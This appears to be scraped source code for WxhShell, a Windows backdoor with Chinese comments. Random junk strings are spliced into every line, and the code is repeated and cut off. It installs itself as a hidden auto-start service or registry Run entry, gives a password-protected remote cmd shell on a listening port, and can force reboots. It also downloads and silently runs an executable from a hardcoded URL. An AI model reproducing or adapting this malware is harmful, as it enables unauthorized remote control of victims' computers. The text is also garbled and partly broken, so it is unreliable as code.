\h6Q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K:9.fTCs* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %%DK?{jo` NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wh4lz~D\@ "Dy&` if (!NtQueryInformationProcess) return 0; "#JoB X@yE wr#+q1v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :x;D- kZ if(!hProcess) return 0; :Mt/6} 1yE~#KpH if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |a"(Ds2U _c #P CloseHandle(hProcess); &E9%8Q)r( l_kH^ET hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Zua7&( 5 if(hProcess==NULL) return 0; D@Wm- UbuxD }) HMODULE hMod; wicg8[T=B char procName[255]; }M9'N%PU unsigned long cbNeeded; =+"XV8Fi, ](0A/,#q6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^^ ?ECnpcU 979L] H# CloseHandle(hProcess); e%f8|3<6 dkVVvK if(strstr(procName,"services")) return 1; // 以服务启动 L~;_R*Th v'iQLUgI return 0; // 注册表启动 T&0tW"r? } eq/s8]uM nDPfr\\ // 主模块 M.l;!U!} int StartWxhshell(LPSTR lpCmdLine) Ao]F_hZ { 0umfC SOCKET wsl; "5YsBih BOOL val=TRUE; y24 0 +;a int port=0; fh 2Pn!h+ struct sockaddr_in door; g1}RA@9 koie if(wscfg.ws_autoins) Install(); Sa@Xh,y Z 4frZ
.r;V port=atoi(lpCmdLine); 2s(K4~e e !-7(.i - if(port<=0) port=wscfg.ws_port; [Q%3=pm_ {<|0M%v WSADATA data; ?pVODnP k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vR`KRI`{ 4b<:67
% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b0&dpMgh: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?}Mv5SO door.sin_family = AF_INET; 20Rgw door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,qr)}s- door.sin_port = htons(port); iE&`Fhf? M1oCa,8M+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9wAP%xh closesocket(wsl); */qv} return 1; +6TKk~0e^ } 5\a5^FK~ Cvl"")ZZ` if(listen(wsl,2) == INVALID_SOCKET) { 3Zbvf^ closesocket(wsl); ]IoS-)$Z/ return 1; .lE"N1 } QP qa\87 Wxhshell(wsl); ;PbyR}s WSACleanup(); \^YJs? swJwy~ return 0; jbg@ CA*=C 6DExsB~@ } eH6#'M4+\ TRQva8d? // 以NT服务方式启动 KpK'?WhX7^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T[7-3[w<) { b.t]p DWORD status = 0; G.BqT\ o' DWORD specificError = 0xfffffff; g;*~xo vUCU%>F serviceStatus.dwServiceType = SERVICE_WIN32; a1j6-p serviceStatus.dwCurrentState = SERVICE_START_PENDING; Jl4zj>8~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pQqZ4L6v serviceStatus.dwWin32ExitCode = 0; '8W }|aF serviceStatus.dwServiceSpecificExitCode = 0; 1ITa6vjS serviceStatus.dwCheckPoint = 0; AFY;;_Xks serviceStatus.dwWaitHint = 0; IYrO;GQ v0HFW%YJ^J hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N8!B2uPQ if (hServiceStatusHandle==0) return; >=B8PK+< k!!o!r BS status = GetLastError(); 3_D$6/i if (status!=NO_ERROR) 0/*z]2 { y6Rg@L&U serviceStatus.dwCurrentState = SERVICE_STOPPED; muY4:F.C( serviceStatus.dwCheckPoint = 0; mH8"k+k serviceStatus.dwWaitHint = 0; =?/J.[)<* serviceStatus.dwWin32ExitCode = status; |m?0h.O, serviceStatus.dwServiceSpecificExitCode = specificError; "q%Q[^b SetServiceStatus(hServiceStatusHandle, &serviceStatus); uEk$Y=p7! return; W"~G]a+ } rK`*v* z
|t0mS$ serviceStatus.dwCurrentState = SERVICE_RUNNING; T}zOM%]] serviceStatus.dwCheckPoint = 0; W;o\}irep serviceStatus.dwWaitHint = 0; gjwp' GN if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .m4K ]^m } _El=M0 4w\')@`[jk // 处理NT服务事件,比如:启动、停止 $A ( #^& VOID WINAPI NTServiceHandler(DWORD fdwControl) .lj\H { z43 H] switch(fdwControl) UZXnABg,J { {o;J'yjre1 case SERVICE_CONTROL_STOP: Z*leEwgz serviceStatus.dwWin32ExitCode = 0; M~^|dR)D serviceStatus.dwCurrentState = SERVICE_STOPPED;
9((v. serviceStatus.dwCheckPoint = 0; Hm*n,8_ serviceStatus.dwWaitHint = 0; +nZx{d,wt { !,I}2,1%k SetServiceStatus(hServiceStatusHandle, &serviceStatus); *O+N4tq } B`
n!IgF8 return; 9GCxF`OB case SERVICE_CONTROL_PAUSE: 7 Xw#
serviceStatus.dwCurrentState = SERVICE_PAUSED; _o<8R@1 break; PInU-"gG case SERVICE_CONTROL_CONTINUE: ;Qw>&24h[ serviceStatus.dwCurrentState = SERVICE_RUNNING; F_@PSA+ break; *)"`v] case SERVICE_CONTROL_INTERROGATE: qex.}[ break; "Z#&A }; 5B"j\TwQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); k(V#{
YP } (?$}Vp $n>.;CV // 标准应用程序主函数 8+lM6O ~! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <@JK;qm>S { RW%e% P1)9OE // 获取操作系统版本 X}_kLfP/9 OsIsNt=GetOsVer(); &;*jMu6 GetModuleFileName(NULL,ExeFile,MAX_PATH); &i6WVNGy k;q|pQ[ // 从命令行安装 Xul<,U~w6 if(strpbrk(lpCmdLine,"iI")) Install(); c"6<p5j! ,7<5dIdZ // 下载执行文件 ECQ>VeP if(wscfg.ws_downexe) { <Ms,0YKx if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3~"G27, WinExec(wscfg.ws_filenam,SW_HIDE); cgml^k\k^ } c:4i&|n "Bn!<h}mg if(!OsIsNt) { -Y;(yTtz // 如果时win9x,隐藏进程并且设置为注册表启动 5%uLs}{\q HideProc(); ~
/]u72?rP StartWxhshell(lpCmdLine); L%I@HB9-Q0 } O57
eq.aT else He~)i)co if(StartFromService()) 3/oVl
6 // 以服务方式启动 ^jq QG+`? StartServiceCtrlDispatcher(DispatchTable); jDOB(fE else XWH~o:0<2 // 普通方式启动 m)g:@^$ StartWxhshell(lpCmdLine); ^vfp; ?/5WM% return 0; 3~%9;.I3! } z-ra] SW#
5px` 4h|sbB"t w%KU@$ =========================================== wtIXZUx 0%#ZupN ~#pQWa5
5Ta<$t r3{Cu z E.zY(# S " Hq ]f$Q6: Fe{lM'
8 #include <stdio.h> dXg.[|S* #include <string.h> Wz;7 |UC #include <windows.h> ewvFUD'j #include <winsock2.h> T2Ms/1FH/@ #include <winsvc.h> {ZrIA+eH #include <urlmon.h> sZxf. Pq KbG<}Y #pragma comment (lib, "Ws2_32.lib") V*Ta[)E #pragma comment (lib, "urlmon.lib") U\s.fIr F^fL #define MAX_USER 100 // 最大客户端连接数 lhZXq!2p #define BUF_SOCK 200 // sock buffer >;:235'(M #define KEY_BUFF 255 // 输入 buffer 7A<X!a XOe)tz
L #define REBOOT 0 // 重启 4"at~K`
Q #define SHUTDOWN 1 // 关机 Py_yIwQqg `O/1aW1 #define DEF_PORT 5000 // 监听端口 4,4S5u[| }%x2Z{VF #define REG_LEN 16 // 注册表键长度 YHSdaocp #define SVC_LEN 80 // NT服务名长度 FhpS#,Y$ 1P;J%.{ // 从dll定义API /g(WCKva typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1Tm,#o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "}fJ 2G3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :qy< G!o typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qqm'Yom%T Dc-v`jZ@) // wxhshell配置信息 oG{0{%*@ struct WSCFG { -Ri/I4Xj int ws_port; // 监听端口 ~ >6d}7xs char ws_passstr[REG_LEN]; // 口令 (#KSwWo{ed int ws_autoins; // 安装标记, 1=yes 0=no (JenTL`%u char ws_regname[REG_LEN]; // 注册表键名 rvfS[@>v char ws_svcname[REG_LEN]; // 服务名 UNY
O
P{ char ws_svcdisp[SVC_LEN]; // 服务显示名 =#L\fe)q) char ws_svcdesc[SVC_LEN]; // 服务描述信息 v'=$K[_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $ S(<7[Z int ws_downexe; // 下载执行标记, 1=yes 0=no (qo
?e2K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x
*:v]6y char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N5_` UZvF5Hoe+O }; vJI]ZnL{ /;E{(%U)t // default Wxhshell configuration r`-=<@[ struct WSCFG wscfg={DEF_PORT, 5!-+5TJI "xuhuanlingzhe", ZP-^10
1, >L4q>S^v "Wxhshell", 5y^I~"_i "Wxhshell", [A\DuJx "WxhShell Service", &"lSq2 "Wrsky Windows CmdShell Service", kZ5;Fe\* "Please Input Your Password: ", S,0h
&A9 1, uE E;~`G "http://www.wrsky.com/wxhshell.exe", W2>VgMR [ "Wxhshell.exe" ZQ1,6<^9i[ }; )?y${T Y[sBVz'j5 // 消息定义模块 +-2W{lX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '<=77yDg char *msg_ws_prompt="\n\r? for help\n\r#>"; )>"|<h.2] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tW-wO[2 char *msg_ws_ext="\n\rExit."; -8zdkm8k char *msg_ws_end="\n\rQuit."; tEuVn5 char *msg_ws_boot="\n\rReboot..."; :Eb=jWA char *msg_ws_poff="\n\rShutdown..."; s$g3__|Y char *msg_ws_down="\n\rSave to "; p`qy57 d#(ffPlq char *msg_ws_err="\n\rErr!"; +,c]FAx4 char *msg_ws_ok="\n\rOK!"; MZd?cS LS:^K char ExeFile[MAX_PATH]; F%< ZEVm int nUser = 0; 3le$0f:O HANDLE handles[MAX_USER]; GD-L0kw5 int OsIsNt; 9z#z9|hj)3 DMdVE P"m SERVICE_STATUS serviceStatus; h~`^H9?M SERVICE_STATUS_HANDLE hServiceStatusHandle; kY?w] lS)t >Py:9~g, // 函数声明 4++
&P9 int Install(void); tNvjwgV\ int Uninstall(void); dkWV/DAm int DownloadFile(char *sURL, SOCKET wsh); X*w7q7\8-: int Boot(int flag); K0A[xkX6 void HideProc(void); u~8=ikn+T int GetOsVer(void); %p;;aZG int Wxhshell(SOCKET wsl); `eEiSf void TalkWithClient(void *cs); (&i
c3/- int CmdShell(SOCKET sock); ]WYddiF int StartFromService(void); vJj}$AlI int StartWxhshell(LPSTR lpCmdLine); Yr)<1.K4,M <sTY<i VR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7S/\;DF VOID WINAPI NTServiceHandler( DWORD fdwControl ); yz7Fe 7u`:e,' // 数据结构和表定义 A$3ll|%j SERVICE_TABLE_ENTRY DispatchTable[] = W"!{f { hsAk7KC {wscfg.ws_svcname, NTServiceMain}, sa?s[ {NULL, NULL} .^xQtnq }; Z~AgZM
R laRn![[ // 自我安装 #EA` | int Install(void) a9_KoOa.H { uOAd$;h@_Z char svExeFile[MAX_PATH]; ~KYA{^`* HKEY key; M 4E|^p=5 strcpy(svExeFile,ExeFile); De
([fC ku)/
8Z`$ // 如果是win9x系统,修改注册表设为自启动 kO/YO)g if(!OsIsNt) { bfq%.<W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cO8yu`4!e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B7.<A#y2 RegCloseKey(key); 7Hg;SK6t0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :#OaE, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9K>~9Za RegCloseKey(key); ,7Dm p7 return 0; 5cj&D74o } O/.8;.d;4Y } 0nPg`@e . } G%fXHAs .+ else { .npD<* >r>pM(h // 如果是NT以上系统,安装为系统服务 P>EG;u@. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cwE?+vB if (schSCManager!=0) [(; .D { ]E|E4K6g SC_HANDLE schService = CreateService gI/SA ( gb=tc` schSCManager, q{}U5(,{0 wscfg.ws_svcname, *SYuq) wscfg.ws_svcdisp, ]u.)6{ SERVICE_ALL_ACCESS, =d$m@rc0r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Et'&}NjI SERVICE_AUTO_START, \I7&F82e SERVICE_ERROR_NORMAL, *QT7\ht3 svExeFile, !jR 1!i NULL, p'kB1)~| NULL, Jq:Wt+a NULL, q}]z8 L NULL, iow"X6_l_ NULL E~S~Ld% ); N97WI+` if (schService!=0) mUfANlQ: { zG7y$\A CloseServiceHandle(schService); swg*fhJFB CloseServiceHandle(schSCManager); MSb0J ` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); je74As[ strcat(svExeFile,wscfg.ws_svcname); n){u!z)Al if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GG(}#Z5h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /tJ%gF RegCloseKey(key); m0*_ return 0; 3
jghV?I{T } -+0!Fkt@, } Ny$N5/b!! CloseServiceHandle(schSCManager); bwK1XlfD.s } V8G.KA " } L2%npps be]Zx`)k return 1; gWl49'S>+ } 82YZN5S3]3 8"ulAx74> // 自我卸载 ynn>d int Uninstall(void) POQ4&ChA { 0KN'\KE HKEY key; BO>[\!=y v807)JwS if(!OsIsNt) { dF^`6-K1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;m"R.Q9* RegDeleteValue(key,wscfg.ws_regname); acI%fYw5p` RegCloseKey(key); CtHsi8m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2U3WH.o RegDeleteValue(key,wscfg.ws_regname); IIAm"=* RegCloseKey(key); -yMD9b return 0; ?^U1~5ff) } &g!yRvM!;Q } p@3 <{kLm } iwfH~ else { ={I(i6 }O:l]O` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qJK6S4O] if (schSCManager!=0) "4CO^ B { rs@qC>_C0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `jT1R!$3F if (schService!=0) qSQsY:]j0 { t x1(6V&l; if(DeleteService(schService)!=0) { zLjQ,Lp.I CloseServiceHandle(schService); H,)2Ou-Wn CloseServiceHandle(schSCManager); 5Y5N return 0; Zb2.o5#} } "9,+m$nj CloseServiceHandle(schService); cN7|Zsc\ } ,Z(J; ~ CloseServiceHandle(schSCManager); 4x$Ts %] } 6~Y`<#X5J } 0T:ZWRjH vl5r~F return 1; ]U.YbWe^ } %)L|7v< F"a31`L>H // 从指定url下载文件 mk
+BeK int DownloadFile(char *sURL, SOCKET wsh) '.zr:l { !%'c$U2 HRESULT hr; AAK}t6 char seps[]= "/"; _'P!>C! char *token; I z)~h>-F char *file; $,jynRk7q char myURL[MAX_PATH]; l_ycB%2e^ char myFILE[MAX_PATH]; [4HOWM>\ ANd#m9(x strcpy(myURL,sURL); vUgo)C#< token=strtok(myURL,seps); L)_L#]Yy while(token!=NULL) sX]ru^F3 { C6c]M@6 file=token; EYU3Pl% token=strtok(NULL,seps); **Q
K}j[D } )%9P ;/ $c24l J#/ GetCurrentDirectory(MAX_PATH,myFILE); 3qq6X?y* strcat(myFILE, "\\"); 6E.64+PJw strcat(myFILE, file); ipJnNy; send(wsh,myFILE,strlen(myFILE),0); Z"a]AsG/Q# send(wsh,"...",3,0); /N`E4bKBR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3EX41)u if(hr==S_OK) \"mLLnK?
return 0; oW8 hC else )-d&XN7 return 1; B#(2,j7M mYqRN1% } qjd8Q }P"JP[#E\ // 系统电源模块 df!n.&\y! int Boot(int flag) X"
;ly0Mb { 44_CT?t< HANDLE hToken; .p(~/MnO TOKEN_PRIVILEGES tkp; =j !Ruy1 JS! if(OsIsNt) { I)F3sS45} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #zc{N"! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j?P8&Fm< tkp.PrivilegeCount = 1; D[R<H(( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xnG,1doa AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "K-2y^Dl if(flag==REBOOT) { w7X], auRC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +#R<emW return 0; NQhlb"Ix } S t0AV.N1 else { $5a%hK if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7eekTh, ? return 0; U^{'"x+ } -(+/u . } @~`2Lo/ else { QyX ? if(flag==REBOOT) { qddP -uN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9% AL f 9 return 0; m8njP-CZ } mu =H&JC else { fF} NPl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aqAWaO return 0; 8k`rj; } N>4uqFo } vd'd@T f.&Y_G3a< return 1; VC@{cVT } @AU<'?k #v`J]I)$ // win9x进程隐藏模块 ~#jD/ void HideProc(void) =e$6o 2!'} { eb>YvC v(2|n}qY HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |,Xrt8O/[ if ( hKernel != NULL ) ghd*EXrF
H { 1f^4J~{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C) "|sG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 53cW`F FreeLibrary(hKernel); B!cg)Y?.bd } -(fvb '@<aS?@!t return; 'Nbae-pf } O[[#\BL s`:-6{E // 获取操作系统版本 @dj2# int GetOsVer(void) P7i
G,i { ` 'y[i OSVERSIONINFO winfo; -5 YvtL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ) b
vZ~t+^ GetVersionEx(&winfo); v"&Fj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +\a`:QET return 1; Y|iJO>_Uu= else DdL0MGwX return 0; RjS&^uaP } n(#159pZ 4^0L2BVcv // 客户端句柄模块 G.}
3hd0 int Wxhshell(SOCKET wsl) 3+2&@:$t { n)7olP0p SOCKET wsh; 1&@s2ee4
struct sockaddr_in client; 6KD DWORD myID; jWd 7 >1R? o(I[_oUy\ while(nUser<MAX_USER) 007SA6xq { HV??B : int nSize=sizeof(client); `% x6;Ha wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;hOrLy&O if(wsh==INVALID_SOCKET) return 1; &T8prE? / 1jb8w' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tv&-n if(handles[nUser]==0) {1y-*@yU( closesocket(wsh); D+.h*{gD else a
N| MBX; nUser++; :>.~"uWo{ } 3P!Jw7e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5]&vs!wH .1.Bf26}d return 0; 8S>T1st } J['paHSF &\$l%icuo // 关闭 socket &r6VF/ void CloseIt(SOCKET wsh) ~ (xIG { s|U?{Byb! closesocket(wsh); Mlp[xk| nUser--; ' [fo ExitThread(0); VR>;{>~ } $^Dx4:k<2 uhFj|r$$ // 客户端请求句柄 05\A7.iy void TalkWithClient(void *cs) {iqH 27\E { <aR8fU ;K:)R_H SOCKET wsh=(SOCKET)cs; aZYa<28?L% char pwd[SVC_LEN]; dE*n!@ char cmd[KEY_BUFF]; =>Vo|LBoe char chr[1]; )POuH*j int i,j; r[zxb0YA &WIiw$@ while (nUser < MAX_USER) { GQTMQXn( J(0.eD91v if(wscfg.ws_passstr) { [e
)j,Q1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xD;5z`A3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A+T!DnVof //ZeroMemory(pwd,KEY_BUFF); )z9)oM\ i=0; j5ZeYcQ- while(i<SVC_LEN) { Vc3tKuMsiX kL,{H~iq; // 设置超时 Memz>uux fd_set FdRead; ? Ovl(4VG struct timeval TimeOut; cbl2D5s+i] FD_ZERO(&FdRead); 1pC!F ;9Oo FD_SET(wsh,&FdRead); FrO)3 1z TimeOut.tv_sec=8; Bl-nS{9" TimeOut.tv_usec=0; }"<|.[V) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tt`j!! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yAoJ?<4^W I)AV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5&l#>8& pwd=chr[0]; NamBJ\2E1[ if(chr[0]==0xd || chr[0]==0xa) { &inu mc pwd=0; 8H3|i7.1h break; @eN x:} } )eNR4nF i++; ?5nF` [rx } e%&2tf4 }u&.n
pc // 如果是非法用户,关闭 socket ewqfs/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iK6L\'k } d_*'5Eia6 F
kp;G send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lvIKL!;H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TdI5{?sW mxhO:.l while(1) { (b Q1,y @kUCc1LT ZeroMemory(cmd,KEY_BUFF); u=feR0|8 F_=RY] // 自动支持客户端 telnet标准 b w!;ZRK j=0; SIjdwr!+ZZ while(j<KEY_BUFF) { 5C/W_H+9iK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lc6Wj'G
G cmd[j]=chr[0]; {[PoLOCI if(chr[0]==0xa || chr[0]==0xd) { 8/*q#j cmd[j]=0; Y25S:XHk9 break; p5c^dC{ } $
+;`[b j++; @CU3V+ } _niXl&C OWFLw // 下载文件 p q7G[ if(strstr(cmd,"http://")) { q4<3 O"c1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); "W;GvI
if(DownloadFile(cmd,wsh)) C)`k{(-{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4+l,~ else 0.C y4sH' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _rXTHo7P } v'7,(.E else { ahA21W`k Zf |%t switch(cmd[0]) { kt.z,<w5O s_-G`xT>{ // 帮助 YYHtd,0\+ case '?': { 8[U1{s:J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wQ qI@ break; {,tEe'H7 } n5A0E 2! // 安装 0'`>20Y case 'i': { Iodk1Y; if(Install()) >6Y\CixN send(wsh,msg_ws_err,strlen(msg_ws_err),0); /=A?O\B7 else `:!mPNW# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t\E#8 break; %geiJ z } T>s~bIzL*e // 卸载 :l8n)O3 case 'r': { 5\}A8Ng if(Uninstall()) -! Hn,93 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L6Ykv/V else NS@j`6/U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); abkl)X>k break; W"+*%x } "5u*C#T2$ // 显示 wxhshell 所在路径 BpZE case 'p': { uyMxBc%6 char svExeFile[MAX_PATH]; qc\]~]H]r strcpy(svExeFile,"\n\r"); " m<]B strcat(svExeFile,ExeFile); LO<R<zz send(wsh,svExeFile,strlen(svExeFile),0); @6 uB78U4O break; k'{'6JR } xtYX}u // 重启 fEE[huG case 'b': { DcA{E8Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R9nW5f
Nf if(Boot(REBOOT)) -hw^3Af send(wsh,msg_ws_err,strlen(msg_ws_err),0); }YWLXxb; else { bmVksi2b closesocket(wsh); ,\q9>cZ! ExitThread(0); 7{=/rbZT? } FjqoO. break; yjlX@YXnw } \\XvVi:B // 关机 ra=U, case 'd': { .'JO7of send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Q,`Qn@|BD if(Boot(SHUTDOWN)) fqA\Rp6Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); U|.kAI* else { Ahk6{uz closesocket(wsh); Nw[TP
G5 ExitThread(0); rk:^^r>5Qi } ^WQ.' G5Q break; #qY`xH'> } hp+=UnW // 获取shell )isz
}?Dj case 's': { awh<CmcZ CmdShell(wsh); 9HrT>{@ closesocket(wsh); ;X,|I) ExitThread(0); {J;[
Hf5 break; WzZ<ZCHm } @S\!wjl]C // 退出 Ya{$:90(4 case 'x': { bHRH2Ss send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
4Ra CloseIt(wsh); 2 %UzCK break; "C %<R } G(W/.* // 离开 b{JcV case 'q': { |`[0U send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Bax0p closesocket(wsh); }A,9` WSACleanup(); ekC
1wN
l exit(1); AL@8v= break; QG
{KEj2V } \Fg%V> } 69ZGdN } q ww* %0l'Nuz // 提示信息 S?ELFq(g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3y?I^ .B } 4{4VC"fa } cB#5LXbCE *P2_l
Q= return; 3gtQS3$4s } ;Gixu9u' 6D3hX>K4 // shell模块句柄 @=JOAo int CmdShell(SOCKET sock) ieuq9ah# { oS3'q\ STARTUPINFO si; 1) 7n
( ZeroMemory(&si,sizeof(si)); vOIK6- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A)
{q7WI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4.Luy PROCESS_INFORMATION ProcessInfo; -{[5P! char cmdline[]="cmd"; B!{vSBq CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &zkuL return 0; %gUf } VRden>vKN CqK&J
/8 // 自身启动模式 Kz>bfq7 int StartFromService(void) iY@wg 8ry { WOBLgM,| typedef struct *-Y`7=^$ { ZYRZ$87jZ DWORD ExitStatus; e=uElp'% DWORD PebBaseAddress; \%&BK.t DWORD AffinityMask; ybk~ m DWORD BasePriority; t<=Ru*p ULONG UniqueProcessId; zv[$N, ULONG InheritedFromUniqueProcessId; y2Eq-Ie } PROCESS_BASIC_INFORMATION; _mSDz=!Z3 / bm2v; PROCNTQSIP NtQueryInformationProcess; \tR](, / V+`gkWe/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y,&'nk} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HK}br!? 2S%[YR>> HANDLE hProcess; |q|?y`X4/ PROCESS_BASIC_INFORMATION pbi; Aw?i6d $~)BO_;o HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'k^d-Mh>h if(NULL == hInst ) return 0; U)CGRh8%+ U'4j+vUc g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {"kEu g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y=G9|7*lO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .M(')$\U >-S? rXO if (!NtQueryInformationProcess) return 0; H(|n,c v9*ugu[K9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o,qq*}= if(!hProcess) return 0; c_V^~hq j8P qc] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CG#lpAs srS2v\1: CloseHandle(hProcess); rF@njw@ /;5U-<qf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1`6kc9f. if(hProcess==NULL) return 0; @FNaCmBX stxei
